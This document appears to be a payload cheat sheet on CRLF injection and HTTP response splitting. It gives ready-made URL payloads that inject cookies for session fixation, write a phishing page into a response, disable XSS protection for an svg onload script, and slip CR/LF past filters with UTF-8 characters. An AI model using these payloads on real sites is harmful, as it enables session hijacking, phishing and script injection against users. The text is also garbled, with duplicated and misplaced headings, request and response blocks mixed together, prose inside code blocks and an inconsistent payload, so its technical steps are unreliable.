# Carriage Return Line Feed

> The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
> A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
> CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\r) and Line Feed (LF) (\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.

## Methodology

### Add a cookie
HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.

**CRLF Characters**:

* `CR` (`\r`, ASCII 13): Moves the cursor to the beginning of the line.
* `LF` (`\n`, ASCII 10): Moves the cursor to the next line.

By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:

* Cross-Site Scripting (XSS): Injecting malicious scripts into the second response.
* Cache Poisoning: Forcing incorrect content to be stored in caches.
* Header Manipulation: Altering headers to mislead users or systems


Requested page
### Session Fixation

A typical HTTP response header looks like this:

```http
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=abc123
```

HTTP Response
If user input `value\r\nSet-Cookie: admin=true` is embedded into the headers without sanitization:

```http
Connection: keep-alive
Content-Length: 178
HTTP/1.1 200 OK
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
Set-Cookie: sessionid=value
Set-Cookie: admin=true
```

Now the attacker has set their own cookie.


### Add a cookie - XSS Bypass
### Cross Site Scripting

Requested page
Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).

**Requested page**

```http
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
```

**HTTP response**

```http
Set-Cookie:en
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34
<html>You have been Phished</html>
```

In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .

**Requested page**

```powershell
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e

Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34
[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.

<html>You have been Phished</html>
```
> Newly defined header fields SHOULD limit their field values to US-ASCII octets.
Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.

### Filter Bypass
| UTF-8 Character | Hex | Unicode | Stripped |
| --------- | --- | ------- | -------- |
| `` | `%E5%98%8A` | `\u560a` | `%0A` (\n) |
| `` | `%E5%98%8D` | `\u560d` | `%0D` (\r) |
| `` | `%E5%98%BE` | `\u563e` | `%3E` (>) |
| `` | `%E5%98%BC` | `\u563c` | `%3C` (<) |

Using UTF-8 encoding
The UTF-8 character `` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.

```http
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
```

Remainder:
Using UTF-8 encoding: `嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾`

* `%E5%98%8A` = `%0A` = \u560a
* `%E5%98%8D` = `%0D` = \u560d
* `%E5%98%BE` = `%3E` = \u563e (>)
* `%E5%98%BC` = `%3C` = \u563c (<)
```http
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
